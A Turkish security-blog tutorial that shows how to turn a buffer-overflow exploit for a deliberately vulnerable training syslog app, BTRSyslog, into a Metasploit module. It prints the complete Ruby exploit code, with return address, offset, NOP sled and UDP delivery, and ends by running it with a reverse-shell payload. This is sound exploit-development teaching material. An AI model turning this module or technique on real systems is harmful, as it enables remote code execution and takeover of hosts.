01 Mayıs 2016

Metasploit Framework'e Exploit Ekleme

Bir önceki makalemizde BTRisk tarafından geliştirilen uygulamamızın nasıl exploit edileceği ve bu exploitin scriptini hazırlamıştık. Bu makalemizde mevcut scriptimizi metasploit framework üzerinde çalışmak üzere düzenleyeceğiz ve bir modül olarak metasplit üzerine ekleyeceğiz.


Bir önceki makeleye ve hazırladığımız exploit scriptlerine aşağıdaki linkten erişebilirsiniz;
http://blog.btrisk.com/2016/03/buffer-overflow-exploit-gelistirme.html

Metasploit üzerinde çalışan örnek ruby scripti offensive security sitesinden alınabilir.
Bizim exploit çalışmamız Windows işletim sistemleri üzerinde etkili olduğu için scriptimizi Kali üzerinde /usr/share/metasploit-framework/modules/exploits/windows/misc altına ekliyoruz. Siz farklı bir dizin altına da ekleyebilirsiniz.

Şimdi örnek ruby scriptimizi ve daha önceden oluşturduğumuz  exploit scriptimiz kullanarak metasploite uygun bir exploit hazırlama adımına geçelim. Öncelikle hazırladığımız scriptini kısaca inceleyelim.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote 
  Rank = NormalRanking                  
                                                                                                                  
  include Exploit::Remote::Udp

 Bu bölümde msf kütüphanesini çağırıyoruz ve Exploit türümüzü tanımlıyoruz. Uzaktan bir exploit işlemi gerçekleştireceğimiz için Remote olarak tanımlıyoruz. İkinci kısımda exploitimiz için bir Mixin tanımlıyoruz. Frameworkun bize sağladığı en büyük kolaylıklardan biri bu kısım. Biz UDP üzerinden exploit gerçekleştiriyoruz. Örneğin bir FTP servisine yönelik exploitimiz olsaydı Exploit::Remote::Ftp tarzında bir tanımlama yapmamız yeterli olacaktı böylece bu protokol ile ilgili gerekli olan tüm fonksiyonlar scriptimize tanımlanmış olacak.

  def initialize(info = {})                                
    super(update_info(info,                               
      'Name'           => 'BTRSyslog Remote Exploit',       
      'Description'    => %q{
          Buffer Overflow BTRSyslog
      },
      'License'        => MSF_LICENSE,                            
      'Author'         => [ 'Emre Karadeniz', ],
      'References'     =>                                  
        [
          [ 'http://www.btrisk.com'],
        ],
Yukarıdaki kısımda ekleyeceğimiz exploit hakkında bilgiler tanımlanır. Bu tanımlar “info” komutunu kullandığımızda kullanıcı tarafına gösterilen bilgilerdir. Buradaki lisans kısmı hariç diğer bölümleri kendinize uygun şekilde düzenleyebilirsiniz.

      'DefaultOptions' =>                                 
        {
          'EXITFUNC' => 'thread',                         
        },
Bu bölümde bir çıkış fonksiyonu tanımlıyoruz. Burada belirttiğimiz parametre sayesinde exploit işleminden sonra uygulamanın nasıl davranacağını belirleyebiliriz. Biz thread olarak belirledik böylece exploit işlemi bitttikten sonra uygulama crash olsada açık kalacak.

      'Payload'        =>                                 
        {
          'Space'    => 600,                              
          'BadChars' => "\x00",                           
        },
 Payload kısmında kullanacağımız payload ile ilgili özellikleri belirliyoruz. Biz kodumuzun düzgün bir şekilde çalışması için gerekli olan alanı ve badchar tanımlarını yapıyoruz.

       'Platform' => 'win',                
               
       'Targets'        =>
        [         
          [
            'Windows',                                   
            {
              'Ret'      => 0x5060103B,                  
              'Offset'   => 136                             
            }
          ],
        ],
      'DisclosureDate' => 'August 15 2014',               
      'DefaultTarget'  => 0))                             
Targets kısmı önemli bilgiler içeren bir bölüm. Burada mevcut exploitin çalışacağı işletim sistemini ve işletim sistemine uygun Return Address ve EIP registerını kontrol edebilmek için gerekli olan buffer boyutu belirtmemiz gereklidir. Bu bilgiler işletim sistemlerine göre değişiklik gösterebilir.


                register_options(                                 

            [
                Opt::RPORT(514),                           
            ], self.class)
end

register options bölümü zorunlu bir alan değil. Burada tanımladığımız bilgiler exploitimize otomatik olarak atanacak olan ayarlardır. Örneğin bizim uygulamamızın UDP 514 portu üzerinden çalıştığını bildiğimizi için portu default hale getirdik.  Modül içerisindeyken “show options” komutu çalıştırıldığında RPORT parametresinde 514 portunun tanımlı olduğu görülebilir.

Sırada exploit kodumuzu tanımladığımız bölüm var.


  def exploit
    connect_udp #UDP baglantisi baslangici
  
    sploit = rand_text_alpha(target['Offset'], bad = payload_badchars)
#Belirttigimiz badcharlari icermeyen, tanimladigimiz Offset boyutunda random deger uretiliyor.
    sploit << [ target.ret].pack('V')
#Tanimladigimiz Return Adresi (JMP ESP) little endian formatinda ekleniyor.
    sploit << make_nops(16)
#16 adet NOP instruction ekleniyor.
    sploit << payload.encoded
 # Son olarak calistirilacak payload  encoded olarak ekleniyor.

    udp_sock.put(sploit)
# exploit udp uzerinden hedefe gonderiliyor.
               
    disconnect_udp                         
  end

end

Daha özet olan hali aşağıdaki şekildedir.



 require 'msf/core'  
   
 class Metasploit4 < Msf::Exploit::Remote # Exploit turunu tanimliyoruz  
  Rank = NormalRanking          # Exploitin etki seviyesine gore bir deger belirlenebilir  
   
  # Bu kisimda Metasploit icerisinde tanimli olan mixin ve diger bilgileri giriyoruz  
  include Exploit::Remote::Udp # Tanimlanan mixin. Exploit kodunuza gore TCP veya farkli mixinler kullanilabilir.  
   
 def initialize(info = {})                 # Modullerin baslangici  
   super(update_info(info,                 # Burada tanimlanan bilgiler "info" komutu ile goruntulenen bilgilerdir.  
    'Name'      => 'BTRSyslog Remote Exploit',    # Exploit isminin ve zafiyetin belirtildigi alan  
    'Description'  => %q{  
      Buffer Overflow BTRSyslog  
    },  
    'License'    => MSF_LICENSE,               # Lisans kismini degistirmiyoruz.  
    'Author'     => [  'Emre Karadeniz', ],
  
    'References'   =>                  # Ilgili referanslar . URL CVE vb  
     [  
      [ 'http://www.btrisk.com'],  
     ],  

    'DefaultOptions' =>                   
     {  
      'EXITFUNC' => 'thread'  
     },  
   
    'Payload'    =>                 # Kullanilacak payload ile ilgili bilgilerin tanimlandigi bolum.  
     {  
      'Space'  => 600,                # Payload calistirilmasi icin gerekli olan alan boyutu  
      'BadChars' => "\x00",              # Payload icerisinde kullanilmasina izin verilmeyen karakterler (badchars)  
     },  
   
        'Targets'    =>  
     [  
      [  
       'Windows',                  # Hedef isletim sistemi  
       {  
        'Ret'   => 0x5060103B,          # Belirledigimiz JMP ESP adresi | BTRSyslogdll.dll icerisindeki  
       'Offset'  => 136               # EIP registerini kontrol edebilmemiz icin gerekli olan buffer boyutu  
       }  
      ],  
     ],  
   
    'DisclosureDate' => 'April 18 2016',          
    'DefaultTarget' => 0))    
   
   register_options(                 #Varsayilan olarak kullanilmasi istenilen ayarlarin tanimlandigi bolum  
       [  
         Opt::RPORT(514),              #Uygulamamizin sadece UDP 514 portundan calistigini bilgimiz icin buraya port tanimi yapiyoruz. Bu kodlari tanimlamak zorunda degiliz. Manuel olarak da girilebilir.   
       ], self.class)  
   
      def exploit  
   connect_udp   #UDP baglantisi baslangici  
    
   sploit = rand_text_alpha(target['Offset'], bad = payload_badchars)  
 #Belirttigimiz badcharlari icermeyen, tanimladigimiz Offset boyutunda random deger uretiliyor.  
   sploit << [ target.ret].pack('V')  
 #Tanimladigimiz Return Adresini (JMP ESP) little endian formatinda ekleniyor.  
   sploit << make_nops(16)  
 #16 adet NOP instruction ekleniyor.  
   sploit << payload.encoded  
  # Son olarak calistirilacak payload encoded olarak ekleniyor.  
   
   udp_sock.put(sploit)  
 # exploit udp uzerinden hedefe gonderiliyor.  
           
   disconnect_udp               
  end  
   
 end  
   
Şimdi exploitimizi Metasploit içerisine aktaralım ve çalıştırmayı deneyelim.
Scriptimiz btrsyslog.rb ismiyle kaydediyorum ve daha önce bahsettiğim dizin altına kopyalıyorum. (/usr/share/metasploit-framework/modules/exploits/windows/misc) msfconsole ile frameworkü çalıştırıyorum. Eğer scriptinizde bir hata varsa açılış ekranında metasploit size uyarı verecektir. "search" komutu ile mevcut scriptimi arıyorum ve "use" komutu ile bu modüle geçiş yapıyorum
 Tanımladığımız  bilgiler
 Tanımladığımız default port
 "set payload windows/shell_reverse_tcp" komutu ile bir payload tanımlıyoruz.
 Son olarak run komutu ile exploit işlemimizi tamamlıyor ve hedef makine üzerinde kendimize bir shell açıyoruz.